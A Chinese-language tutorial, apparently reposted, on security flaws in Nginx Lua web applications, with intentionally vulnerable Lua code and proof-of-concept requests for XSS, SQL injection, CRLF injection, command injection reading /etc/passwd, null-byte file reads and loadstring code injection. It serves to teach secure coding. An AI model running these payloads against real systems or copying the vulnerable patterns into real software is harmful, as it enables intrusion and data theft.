Nginx Lua Web Application Security

栏目: Lua · 发布时间: 8年前

内容简介:Nginx Lua Web Application Security

前言

我们知道,Nginx Lua经常被用来编写WAF。但随着 lua 语言的广泛,在其他web应用中也会有大量的Lua。

安装配置

可以使用OpenResty或者nginx编译的时候添加 lua-nginx-module 模块。区别在于OpenResty自带了很多第三方Lua库。

所有测试均在以下环境:

Lua 5.1.4
nginx/1.9.15
lua-nginx-module-0.10.5

安装完成后,进行nginx配置。注意该配置只是拿来做漏洞测试。

server块添加一个location

location /sec_ngx_lua {
    content_by_lua_file /opt/lua_module/content.lua;
}

http块添加lua模块

lua_package_path '/opt/lua_module/?.lua;;';
lua_code_cache on;

表示添加/opt/lua_module路径的所有模块。

接下来就只在/opt/lua_module路径中写代码测试了。

vuls.lua(漏洞代码)

local _M = {}

function _M.xss()
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"
    ngx.say(name)
end

return _M

content.lua(调用vuls.lua中的代码)

local vul = require "vuls"
vul.xss();

漏洞类型

XSS

漏洞代码

function _M.xss()
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"
    ngx.say(name)
end

漏洞验证

http://joychou.me/sec_ngx_lua?name=<script>alert(9527)</script>

修复

没有提供方法进行编码,所以编码需要自己实现。

Sql Injection

由于要使用数据库,所以如果未使用OpenResty,需要添加OpenResty提供的 mysql.lua

下载地址:

https://raw.githubusercontent.com/openresty/lua-resty-mysql/master/lib/resty/mysql.lua

将下载的mysql.lua同样放在/opt/lua_module/路径。

漏洞代码

local _M = {}

function close_db(db)  
    if not db then  
        return  
    end  
    db:close()  
end

function _M.sqli()
    local mysql = require("mysql")
    local db, err = mysql: new()

    ngx.header.content_type = "text/html"

    if not db then
        ngx.say("new mysql error :", err)
        return
    end

    db:set_timeout(1000)

    local props = {  
        host = "127.0.0.1",  
        port = 3306,  
        database = "lua",  
        user = "root",  
        password = "joychouisgood"  
    }

    
    local res, err, errno, sqlstate = db:connect(props)
    if not res then  
        ngx.say("connect to mysql error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)
        return close_db(db)
    end

    
    local uid = ngx.req.get_uri_args().uid
    local select_sql = "select id, name from info where id =" .. uid
    res, err, errno, sqlstate = db:query(select_sql)
    if not res then  
        ngx.say("select error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
        return close_db(db)
    end

   
    for i, row in ipairs(res) do  
        for id, name in pairs(row) do  
        ngx.say("row ", i, " : ", id, " = ", name, "<br/>")  
        end  
    end 

end

return _M

lua.info表数据

mysql> select * from info;
+----+---------+
| id | name    |
+----+---------+
|  1 | joychou |
|  2 | smilent |
+----+---------+
2 rows in set (0.00 sec)

漏洞证明

http://joychou.me/sec_ngx_lua?uid=2 UNION ALL SELECT CONCAT(0x7162766271,0x744a75536365647154756a6d51436a746b656b6e4f796c4e6461565153537254727851564f6a4c61,0x716a787871),NULL-- cils

返回

id = qbvbqtJuScedqTujmQCjtkeknOylNdaVQSSrTrxQVOjLaqjxxq

漏洞修复

使用 ngx.quote_sql_str 对参数进行编码

CRLF Injection

参数外部可控的情况下,可使用%0d%0a进行CRLR注入。

漏洞代码

function _M.crlf_injection()
    local user = ngx.req.get_uri_args().user or ""
    ngx.header.content_type = "text/html"
    ngx.header['X-Test'] = user
    ngx.say('crlf inject sec test')
end

漏洞验证

➜  ~ curl -v 'http://joychou.me/sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou'
*   Trying 35.185.163.135...
* Connected to joychou.me (35.185.163.135) port 80 (#0)
> GET /sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou HTTP/1.1
> Host: joychou.me
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.9.15
< Date: Tue, 13 Jun 2017 09:34:12 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Test: demo
< Set-cookie:JSPSESSID=joychou
<
crlf inject sec test

漏洞修复

过滤外部传参。

Command Injection

Lua可执行命令的方法

  • io.popen
  • os.execute (执行操作系统 shell 命令)

os.execute不能拿到回显,但io.popen可以。

漏洞代码

使用io.popen执行命令时,命令外部可控,导致任意命令执行。

function _M.cmd_injection()
    ngx.header.content_type = "text/plain"
    local user = ngx.req.get_uri_args().user or ""
    local handle = io.popen("ls -l /home/"..user)
    local result = handle:read("*a")
    handle:close()
    ngx.say(result)
end

漏洞验证

➜  ~ curl 'http://joychou.me/sec_ngx_lua?user=root;cat%20/etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

漏洞修复

过滤外部传参。

任意文件读取

使用io.open进行文件读取时,文件名外部可控导致任意文件读取。

function _M.file_read()
    local file = ngx.req.get_uri_args().file or ""
    ngx.header.content_type = "text/html"
    local f = io.open(file..".txt")
    local ret = f:read("*a")
    f.close()
    ngx.say(ret)
end

漏洞验证

使用%00截断后面的 .txt 字符串

http://joychou.me/sec_ngx_lua?file=/etc/hosts%00

漏洞修复

过滤外部传参。

代码注入

先来看下loadstring造成的代码注入的实例

> x="os.execute('echo 111 > /tmp/xx')"
> assert(loadstring(x))()
[root@sectest]# cat /tmp/xx
111

如果loadstring的字符串里可外部控制,就可以导致代码注入,和 phppythoneval 一样。

lua中和loadstring类似的方法还有

require,dofile,loadfile,dostring,loadstring,loadlib,load

漏洞代码

function _M.code_injection()
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"
    local html = string.format([[
        ngx.say("Hello, %s")
        ngx.say("Today is "..os.date())
    ]], name)
    loadstring(html)()
end

漏洞证明

http://joychou.me/sec_ngx_lua?name=joychou") os.execute("echo 2333 > /tmp/xxx
[root@sectest]# cat /tmp/xxx
2333

漏洞修复

过滤外部传参。

参考链接

Lua Web Application Security Vulnerabilities


以上所述就是小编给大家介绍的《Nginx Lua Web Application Security》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Learning Vue.js 2

Learning Vue.js 2

Olga Filipova / Packt Publishing / 2017-1-5 / USD 41.99

About This Book Learn how to propagate DOM changes across the website without writing extensive jQuery callbacks code.Learn how to achieve reactivity and easily compose views with Vue.js and unders......一起来看看 《Learning Vue.js 2》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码